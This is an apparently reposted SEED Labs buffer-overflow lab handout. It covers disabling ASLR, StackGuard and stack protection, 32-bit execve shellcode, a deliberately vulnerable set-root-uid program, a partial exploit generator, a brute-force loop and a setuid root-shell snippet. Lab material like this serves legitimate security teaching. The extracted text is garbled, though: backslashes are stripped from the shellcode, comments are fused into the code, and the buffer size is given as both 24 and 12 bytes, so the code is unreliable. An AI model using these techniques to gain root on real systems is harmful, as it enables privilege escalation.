[SOLVED] Buffer Overflow Vulnerability Lab

SEED Labs Buffer Overflow Vulnerability Lab 1 Buffer Overflow Vulnerability Lab

1 Lab Overview

The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulner- ability by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why.

2 Lab Tasks 2.1 Initial setup

You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simply our attacks, we need to disable them first.

Address Space Randomization. Ubuntu and several other Linux-based systems uses address space ran- domization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable these features using the following commands:

$ su rootPassword: (enter root password)

#sysctl -w kernel.randomize_va_space=0

The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called Stack Guard to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection if you compile the program using the -fno-stack-protector switch. For example, to compile a program example.c with Stack Guard disabled, you may use the following command:

$ gcc -fno-stack-protector example.c

SEED Labs Buffer Overflow Vulnerability Lab 2

Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change that, use the following option when compiling programs:

For executable stack:$ gcc -z execstack-o test test.c

For non-executable stack:$ gcc -z noexecstack-o test test.c

2.2 Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

#include <stdio.h>

int main( ) { char *name[2];

 name[0] = /bin/sh; name[1] = NULL; execve(name[0], name, NULL);

}

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked.

/* call_shellcode.c*/

/*A program that creates a file containing code for launching shell*/#include <stdlib.h>#include <stdio.h>#include <string.h>

const char code[] ="x31xc0""x50""x68""//sh""x68""/bin""x89xe3"

"x50""x53"

/* Line 1:xorl/* Line 2:pushl/* Line 3:pushl/* Line 4:pushl/* Line 5:movl/* Line 6:pushl/* Line 7:pushl

%eax,%eax*/%eax */$0x68732f2f*/$0x6e69622f*/%esp,%ebx*/%eax */%ebx */

SEED Labs Buffer Overflow Vulnerability Lab

3

;

"x89xe1""x99""xb0x0b""xcdx80"

/* Line 8:movl/* Line 9:cdq/* Line 10: movb/* Line 11: int

%esp,%ecx

$0x0b,%al$0x80

*/ */ */ */

int main(int argc, char **argv){

 char buf[sizeof(code)]; strcpy(buf, code); ((void(*)( ))buf)( );

}
Please use the following command to compile the code (dont forget the execstack option):

$ gcc -z execstack -o call_shellcode call_shellcode.c

A few places in this shellcode are worth mentioning. First, the third instruction pushes //sh, rather than /sh into the stack. This is because we need a 32-bit number here, and /sh has only 24 bits. Fortu- nately, // is equivalent to /, so we can get away with a double slash symbol. Second, before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx);theone(cdq)usedhereissimplyashorterinstruction:itcopiesthesign(bit31)of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the system call execve() is called when we set %al to 11, and execute int $0x80.

2.3 The Vulnerable Program

/* stack.c */

/* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include <stdlib.h>#include <stdio.h>

#include <string.h>

int bof(char *str){

char buffer[24];

/* The following statement has a buffer overflow problem */strcpy(buffer, str);

return 1; }

SEED Labs Buffer Overflow Vulnerability Lab 4

int main(int argc, char **argv){

char str[517];FILE *badfile;

badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properlyn");return 1;

}

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755 (dont forget to include the execstack and -fno-stack-protector options to turn off the non-executable stack and StackGuard protections):

$ su rootPassword (enter root password)

# gcc -o stack -z execstack -fno-stack-protector stack.c# chmod 4755 stack# exit

The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() has only 12 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under users control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

For Instructor: To test whether students really know how to conduct the attack, during the demo time, ask students to change the buffer size from 12 to another number in the vulnerable program stack.c. If students really know the attack, they should be able to modify their attacking code and successfully launch the attack.

2.4 Task 1: Exploiting the Vulnerability

We provide you with a partially completed exploit code called exploit.c. The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

/* exploit.c*/

/* A program that creates a file containing code for launching shell*/#include <stdlib.h>#include <stdio.h>#include <string.h>

char shellcode[]=

SEED Labs Buffer Overflow Vulnerability Lab

5

;

"x31xc0""x50""x68""//sh""x68""/bin""x89xe3""x50""x53""x89xe1""x99""xb0x0b""xcdx80"

/* xorl/* pushl/* pushl/* pushl/* movl/* pushl/* pushl/* movl/* cdq/* movb/* int

%eax,%eax%eax$0x68732f2f$0x6e69622f%esp,%ebx%eax

%ebx%esp,%ecx

$0x0b,%al$0x80

*/*/*/*/*/*/*/*/*/*/*/

void main(int argc, char **argv){

char buffer[517];FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);

}

After you finish the above program, compile and run it. This will generate the contents for badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the Stack Guard protection disabled.

$ gcc -o exploit exploit.c$./exploit// create the badfile$./stack// launch the attack by running the vulnerable program# <---- Bingo! Youve got a root shell!

It should be noted that although you have obtained the # prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

# iduid=(500) euid=0(root)

SEED Labs Buffer Overflow Vulnerability Lab 6

Many commands will behave differently if they are executed as Set-UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.

void main() {

setuid(0);system("/bin/sh");}

2.5 Task 2: Address Randomization

Now, we turn on the Ubuntus address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:

$ su rootPassword: (enter root password)

# /sbin/sysctl -w kernel.randomize_va_space=2

If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run ./stack in the following loop , and see what will happen. If your exploit program is designed properly, you should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait).

$ sh -c "while [ 1 ]; do ./stack; done;"

2.6 Task 3: Stack Guard

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we disabled the Stack Guard protection mechanism in GCC when compiling the programs. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you should compile the program without the -fno-stack-protector option. For this task, you will recompile the vulnerable program, stack.c, to use GCCs Stack Guard, execute task 1 again, and report your observations. You may report any error messages you observe.

In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable Stack Guard.

2.7 Task 4: Non-executable Stack

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 1. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the non- executable stack protection.